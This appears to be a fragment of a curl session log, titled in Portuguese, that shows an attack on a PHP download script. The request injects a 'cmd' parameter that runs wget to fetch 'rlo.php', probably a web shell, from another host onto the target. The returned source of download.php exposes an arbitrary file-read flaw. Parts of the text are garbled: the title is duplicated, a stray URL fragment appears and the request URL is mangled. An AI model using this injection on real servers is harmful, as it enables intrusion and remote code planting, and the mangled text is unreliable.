Uso Do Curl
Uso Do Curl
php&cmd=wget%20http%3A%2F
%2F172.20.1.76%2Frlo.php%20-O%20rlo.php"
* Trying 172.16.1.245:80...
* Connected to 172.16.1.245 (172.16.1.245) port 80
> GET /download.php?file=download.php&cmd=wget%20https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2F172.20.1.76%2Frlo.php
%20-O%20rlo.php HTTP/1.1
> Host: 172.16.1.245
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Fri, 31 Jan 2025 22:54:45 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Content-Length: 408
< Content-Disposition: attachment; filename="download.php"
< Content-Transfer-Encoding: binary
< Expires: 0
< Pragma: no-cache
< Content-Type: application/save
<
<?php
$file = $_GET['file'];
header("Content-Type: application/save");
header("Content-Length:".filesize($file));
header('Content-Disposition: attachment; filename="' .basename($file). '"');
header("Content-Transfer-Encoding: binary");
header('Expires: 0');
header('Pragma: no-cache');